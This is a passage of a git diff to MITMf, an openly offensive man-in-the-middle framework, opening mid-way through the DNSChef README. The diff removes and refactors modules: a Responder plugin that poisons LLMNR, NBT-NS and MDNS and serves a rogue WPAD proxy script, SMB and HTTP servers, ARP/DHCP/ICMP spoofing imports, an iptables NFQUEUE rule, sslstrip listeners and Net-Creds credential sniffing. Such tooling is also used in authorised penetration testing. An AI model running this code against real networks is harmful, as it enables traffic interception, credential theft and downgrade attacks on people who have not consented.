*dnschef.ini*. This could be useful if you want to override values in the configuration file. slashdot.org still resolves to the fake IP address because it was specified in the *--fakedomains* parameter. tor.com request is simply proxied since it was not specified in either command line or the configuration file. - -Other configurations -==================== - -For security reasons, DNSChef listens on a local 127.0.0.1 (or ::1 for IPv6) interface by default. You can make DNSChef listen on another interface using the *--interface* parameter: - - # ./dnschef.py --interface 0.0.0.0 -q - [*] DNSChef started on interface: 0.0.0.0 - [*] Using the following nameservers: 8.8.8.8 - [*] No parameters were specified. Running in full proxy mode - [00:50:53] 192.0.2.105: proxying the response of type 'A' for thesprawl.org - -or for IPv6: - - # ./dnschef.py -6 --interface :: -q - [*] Using IPv6 mode. - [*] DNSChef started on interface: :: - [*] Using the following nameservers: 2001:4860:4860::8888 - [*] No parameters were specified. Running in full proxy mode - [00:57:46] 2001:db8::105: proxying the response of type 'A' for thesprawl.org - -By default, DNSChef uses Google's public DNS server to make proxy requests. However, you can define a custom list of nameservers using the *--nameservers* parameter: - - # ./dnschef.py --nameservers 4.2.2.1,4.2.2.2 -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 4.2.2.1, 4.2.2.2 - [*] No parameters were specified. Running in full proxy mode - [00:55:08] 127.0.0.1: proxying the response of type 'A' for thesprawl.org - -It is possible to specify non-standard nameserver port using IP#PORT notation: - - # ./dnschef.py --nameservers 192.0.2.2#5353 -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 192.0.2.2#5353 - [*] No parameters were specified. Running in full proxy mode - [02:03:12] 127.0.0.1: proxying the response of type 'A' for thesprawl.org - -At the same time it is possible to start DNSChef itself on an alternative port using the *-p port#* parameter: - - # ./dnschef.py -p 5353 -q - [*] Listening on an alternative port 5353 - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] No parameters were specified. Running in full proxy mode - -DNS protocol can be used over UDP (default) or TCP. DNSChef implements a TCP mode which can be activated with the *--tcp* flag. - -Internal architecture -===================== - -Here is some information on the internals in case you need to adapt the tool for your needs. DNSChef is built on top of the SocketServer module and uses threading to help process multiple requests simultaneously. The tool is designed to listen on TCP or UDP ports (default is port 53) for incoming requests and forward those requests when necessary to a real DNS server over UDP. - -The excellent [dnslib library](https://bitbucket.org/paulc/dnslib/wiki/Home) is used to dissect and reassemble DNS packets. It is particularly useful when generating response packets based on queries. [IPy](https://github.com/haypo/python-ipy/) is used for IPv6 addresses manipulation. Both libraries come bundled with DNSChef to ease installation. - -DNSChef is capable of modifing queries for records of type "A", "AAAA", "MX", "CNAME", "NS", "TXT", "PTR", "NAPTR", "SOA", "ANY". It is very easy to expand or modify behavior for any record. Simply add another **if qtype == "RECORD TYPE")** entry and tell it what to reply with. - -Enjoy the tool and forward all requests and comments to iphelix [at] thesprawl.org. - -Happy hacking! - -Peter diff --git a/core/servers/dns/__init__.py b/core/servers/dns/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/servers/http/HTTPserver.py b/core/servers/http/HTTPserver.py deleted file mode 100644 index 28f3396..0000000 --- a/core/servers/http/HTTPserver.py +++ /dev/null @@ -1,64 +0,0 @@ -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# -import logging -import threading -import sys - -from core.utils import shutdown -from core.configwatcher import ConfigWatcher -from flask import Flask - -class HTTPserver(ConfigWatcher): - - server = Flask("HTTPserver") - func_list = [] - - __shared_state = {} - - def __init__(self): - self.__dict__ = self.__shared_state - - def start_flask(self): - - @self.server.route('/', defaults={'path': '/'}) - @self.server.route('/') - def catch_all(path): - for func in self.func_list: - resp = func(path) - if resp: - return resp - return path - - self.server.run(debug=False, host='0.0.0.0', port=int(self.config['MITMf']['HTTP']['port'])) - - def start(self): - self.setup_http_logger() - server_thread = threading.Thread(name='HTTPserver', target=self.start_flask) - server_thread.setDaemon(True) - server_thread.start() - - def add_endpoint(self, function): - self.func_list.append(function) - - def setup_http_logger(self): - formatter = logging.Formatter("%(asctime)s [HTTP] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") - flask_logger = logging.getLogger('werkzeug') - flask_logger.propagate = False - fileHandler = logging.FileHandler("./logs/mitmf.log") - fileHandler.setFormatter(formatter) - flask_logger.addHandler(fileHandler) diff --git a/core/servers/http/__init__.py b/core/servers/http/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py deleted file mode 100644 index 0d238ca..0000000 --- a/core/servers/smb/SMBserver.py +++ /dev/null @@ -1,76 +0,0 @@ -import logging -import sys -import threading -import os - -from socket import error as socketerror -from mitmflib.impacket import version, smbserver, LOG -from core.servers.smb.KarmaSMB import KarmaSMBServer -from core.configwatcher import ConfigWatcher -from core.utils import shutdown - -class SMBserver(ConfigWatcher): - - __shared_state = {} - - def __init__(self): - self.__dict__ = self.__shared_state - - self.version = version.VER_MINOR - self.mode = self.config["MITMf"]["SMB"]["mode"].lower() - self.challenge = self.config["MITMf"]["SMB"]["Challenge"] - self.port = int(self.config["MITMf"]["SMB"]["port"]) - - def server(self): - try: - if self.mode == 'normal': - - formatter = logging.Formatter("%(asctime)s [SMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") - self.conf_impacket_logger(formatter) - - server = smbserver.SimpleSMBServer(listenPort=self.port) - - for share in self.config["MITMf"]["SMB"]["Shares"]: - path = self.config["MITMf"]["SMB"]["Shares"][share]['path'] - readonly = self.config["MITMf"]["SMB"]["Shares"][share]['readonly'].lower() - server.addShare(share.upper(), path, readOnly=readonly) - - server.setSMBChallenge(self.challenge) - server.setLogFile('') - - elif self.mode == 'karma': - - formatter = logging.Formatter("%(asctime)s [KarmaSMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") - self.conf_impacket_logger(formatter) - - server = KarmaSMBServer(self.challenge, self.port) - server.defaultFile = self.config["MITMf"]["SMB"]["Karma"]["defaultfile"] - - for extension, path in self.config["MITMf"]["SMB"]["Karma"].iteritems(): - server.extensions[extension.upper()] = os.path.normpath(path) - - else: - shutdown("\n[-] Invalid SMB server type specified in config file!") - - return server - - except socketerror as e: - if "Address already in use" in e: - shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(self.port)) - - def conf_impacket_logger(self, formatter): - - LOG.setLevel(logging.INFO) - LOG.propagate = False - - fileHandler = logging.FileHandler("./logs/mitmf.log") - streamHandler = logging.StreamHandler(sys.stdout) - fileHandler.setFormatter(formatter) - streamHandler.setFormatter(formatter) - LOG.addHandler(fileHandler) - LOG.addHandler(streamHandler) - - def start(self): - t = threading.Thread(name='SMBserver', target=self.server().start) - t.setDaemon(True) - t.start() diff --git a/core/servers/smb/__init__.py b/core/servers/smb/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index 681e15a..3ed9a11 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -202,16 +202,17 @@ class ClientRequest(Request): return reactor.resolve(host) def process(self): - log.debug("Resolving host: {}".format(self.getHeader('host'))) - host = self.getHeader('host').split(":")[0] + if self.getHeader('host') is not None: + log.debug("Resolving host: {}".format(self.getHeader('host'))) + host = self.getHeader('host').split(":")[0] - if self.hsts: - host = self.urlMonitor.URLgetRealHost(str(host)) + if self.hsts: + host = self.urlMonitor.URLgetRealHost(str(host)) + + deferred = self.resolveHost(host) + deferred.addCallback(self.handleHostResolvedSuccess) + deferred.addErrback(self.handleHostResolvedError) - deferred = self.resolveHost(host) - deferred.addCallback(self.handleHostResolvedSuccess) - deferred.addErrback(self.handleHostResolvedError) - def proxyViaHTTP(self, host, method, path, postData, headers, port): connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) connectionFactory.protocol = ServerConnection diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 3051696..a9a7588 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -28,7 +28,7 @@ import sys from mitmflib.user_agents import parse from twisted.web.http import HTTPClient from URLMonitor import URLMonitor -from core.sergioproxy.ProxyPlugins import ProxyPlugins +from core.proxyplugins import ProxyPlugins from core.logger import logger formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") diff --git a/core/utils.py b/core/utils.py index d5ca410..e63862f 100644 --- a/core/utils.py +++ b/core/utils.py @@ -23,7 +23,7 @@ import sys from commands import getstatusoutput from core.logger import logger -from core.sergioproxy.ProxyPlugins import ProxyPlugins +from core.proxyplugins import ProxyPlugins from scapy.all import get_if_addr, get_if_hwaddr, get_working_if formatter = logging.Formatter("%(asctime)s [Utils] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") @@ -105,4 +105,4 @@ class iptables: def NFQUEUE(self): log.debug("Setting iptables NFQUEUE rule") os.system('iptables -t nat -A PREROUTING -j NFQUEUE --queue-num 1') - self.nfqueue = True + self.nfqueue = True \ No newline at end of file diff --git a/mitmf.py b/mitmf.py index 5f8e0a8..cc4bb5b 100755 --- a/mitmf.py +++ b/mitmf.py @@ -22,13 +22,12 @@ import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message logging.getLogger("mitmflib.watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages -logging.getLogger('mitmflib.smbserver').setLevel(logging.INFO) -logging.getLogger('mitmflib.impacket').setLevel(logging.INFO) import argparse import sys import os import threading +import core.responder.settings as settings from twisted.web import http from twisted.internet import reactor @@ -46,7 +45,7 @@ if os.geteuid() != 0: parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename), version="{} - '{}'".format(mitmf_version, mitmf_codename), - usage='mitmf.py [-i interface] [mitmf options] [plugin name] [plugin options]', + usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.") #add MITMf options @@ -73,14 +72,14 @@ options = parser.parse_args() logger().log_level = logging.__dict__[options.log_level.upper()] #Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object -from core.utils import get_iface, get_ip, get_mac, shutdown -if not options.interface: - options.interface = get_iface() +from core.utils import get_ip, get_mac, shutdown options.ip = get_ip(options.interface) options.mac = get_mac(options.interface) +settings.Config.populate(options) + from core.sslstrip.CookieCleaner import CookieCleaner -from core.sergioproxy.ProxyPlugins import ProxyPlugins +from core.proxyplugins import ProxyPlugins from core.sslstrip.StrippingProxy import StrippingProxy from core.sslstrip.URLMonitor import URLMonitor @@ -92,6 +91,7 @@ strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy reactor.listenTCP(options.listen_port, strippingFactory) +reactor.listenTCP(3141, strippingFactory) ProxyPlugins().all_plugins = plugins @@ -124,42 +124,42 @@ print "|_ SSLstrip v0.9 by Moxie Marlinspike online" print "|" if options.filter: - from core.packetparser import PacketParser - pparser = PacketParser(options.filter) - pparser.start() - print "|_ PacketParser online" + from core.packetfilter import PacketFilter + pfilter = PacketFilter(options.filter) + pfilter.start() + print "|_ PacketFilter online" print "| |_ Applying filter {} to incoming packets".format(options.filter) #Start mitmf-api -from core.mitmfapi import mitmfapi -print "|_ MITMf-API online" -mitmfapi().start() +#from core.mitmfapi import mitmfapi +#print "|_ MITMf-API online" +#mitmfapi().start() #Start Net-Creds -from core.netcreds.NetCreds import NetCreds +from core.netcreds import NetCreds NetCreds().start(options.interface, options.ip) print "|_ Net-Creds v{} online".format(NetCreds.version) #Start the HTTP Server -from core.servers.http.HTTPserver import HTTPserver -HTTPserver().start() -print "|_ HTTP server online" +#from core.servers.HTTP import HTTP +#HTTPserver().start() +#print "|_ HTTP server online" #Start DNSChef -from core.servers.dns.DNSchef import DNSChef +from core.servers.DNS import DNSChef DNSChef().start() print "|_ DNSChef v{} online".format(DNSChef.version) #Start the SMB server -from core.servers.smb.SMBserver import SMBserver -SMBserver().start() -print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver().mode, SMBserver().version) +from core.servers.SMB import SMB +SMB().start() +print "|_ SMB server online\n" #start the reactor reactor.run() print "\n" if options.filter: - pparser.stop() + pfilter.stop() shutdown() \ No newline at end of file diff --git a/plugins/responder.py b/plugins/responder.py deleted file mode 100644 index a4a6a14..0000000 --- a/plugins/responder.py +++ /dev/null @@ -1,138 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# -import flask - -from plugins.plugin import Plugin -from twisted.internet import reactor - -class Responder(Plugin): - name = "Responder" - optname = "responder" - desc = "Poison LLMNR, NBT-NS and MDNS requests" - tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] - version = "0.2" - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.interface = options.interface - self.ip = options.ip - - try: - config = self.config['Responder'] - smbChal = self.config['MITMf']['SMB']['Challenge'] - except Exception as e: - shutdown('[-] Error parsing config for Responder: ' + str(e)) - - from core.responder.llmnr.LLMNRpoisoner import LLMNRpoisoner - from core.responder.mdns.MDNSpoisoner import MDNSpoisoner - from core.responder.nbtns.NBTNSpoisoner import NBTNSpoisoner - from core.responder.fingerprinter.LANfingerprinter import LANfingerprinter - - LANfingerprinter().start(options) - MDNSpoisoner().start(options, options.ip) - NBTNSpoisoner().start(options, options.ip) - LLMNRpoisoner().start(options, options.ip) - - if options.wpad: - from core.servers.http.HTTPserver import HTTPserver - def wpad_request(path): - if (path == 'wpad.dat') or (path.endswith('.pac')): - payload = self.config['Responder']['WPADScript'] - - resp = flask.Response(payload) - resp.headers['Server'] = "Microsoft-IIS/6.0" - resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig" - resp.headers['X-Powered-By'] = "ASP.NET" - resp.headers['Content-Length'] = len(payload) - - return resp - - HTTPserver().add_endpoint(wpad_request) - - if self.config["Responder"]["MSSQL"].lower() == "on": - from core.responder.mssql.MSSQLserver import MSSQLserver - MSSQLserver().start(smbChal) - - if self.config["Responder"]["Kerberos"].lower() == "on": - from core.responder.kerberos.KERBserver import KERBserver - KERBserver().start() - - if self.config["Responder"]["FTP"].lower() == "on": - from core.responder.ftp.FTPserver import FTPserver - FTPserver().start() - - if self.config["Responder"]["POP"].lower() == "on": - from core.responder.pop3.POP3server import POP3server - POP3server().start() - - if self.config["Responder"]["SMTP"].lower() == "on": - from core.responder.smtp.SMTPserver import SMTPserver - SMTPserver().start() - - if self.config["Responder"]["IMAP"].lower() == "on": - from core.responder.imap.IMAPserver import IMAPserver - IMAPserver().start() - - if self.config["Responder"]["LDAP"].lower() == "on": - from core.responder.ldap.LDAPserver import LDAPserver - LDAPserver().start(smbChal) - - if options.analyze: - self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") - self.IsICMPRedirectPlausible(options.ip) - - def IsICMPRedirectPlausible(self, IP): - result = [] - dnsip = [] - for line in file('/etc/resolv.conf', 'r'): - ip = line.split() - if len(ip) < 2: - continue - if ip[0] == 'nameserver': - dnsip.extend(ip[1:]) - - for x in dnsip: - if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False: - self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x)) - else: - pass - - def IsOnTheSameSubnet(self, ip, net): - net = net+'/24' - ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) - netstr, bits = net.split('/') - netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) - mask = (0xffffffff << (32 - int(bits))) & 0xffffffff - return (ipaddr & mask) == (netaddr & mask) - - def reactor(self, strippingFactory): - reactor.listenTCP(3141, strippingFactory) - - def options(self, options): - options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning") - options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries") - options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries") - options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query") - options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") - options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server") - # Removed these options until I find a better way of implementing them - #options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") - #options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/spoof.py b/plugins/spoof.py index f36cd9a..637d7d7 100644 --- a/plugins/spoof.py +++ b/plugins/spoof.py @@ -37,14 +37,14 @@ class Spoof(Plugin): if not options.gateway: shutdown("[Spoof] --arp argument requires --gateway") - from core.poisoners.arp.ARPpoisoner import ARPpoisoner + from core.poisoners.ARP import ARPpoisoner arp = ARPpoisoner(options) arp.debug = debug self.tree_info.append('ARP spoofing enabled') self.protocol_instances.append(arp) elif options.dhcp: - from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner + from core.poisoners.DHCP import DHCPpoisoner if options.targets: shutdown("[Spoof] --targets argument invalid when DCHP spoofing") @@ -55,7 +55,7 @@ class Spoof(Plugin): self.protocol_instances.append(dhcp) elif options.icmp: - from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner + from core.poisoners.ICMP import ICMPpoisoner if not options.gateway: shutdown("[Spoof] --icmp argument requires --gateway") @@ -69,8 +69,6 @@ class Spoof(Plugin): self.protocol_instances.append(icmp) if options.dns: - from core.servers.dns.DNSchef import DNSChef - self.tree_info.append('DNS spoofing enabled') if iptables().dns is False: iptables().DNS(self.config['MITMf']['DNS']['port'])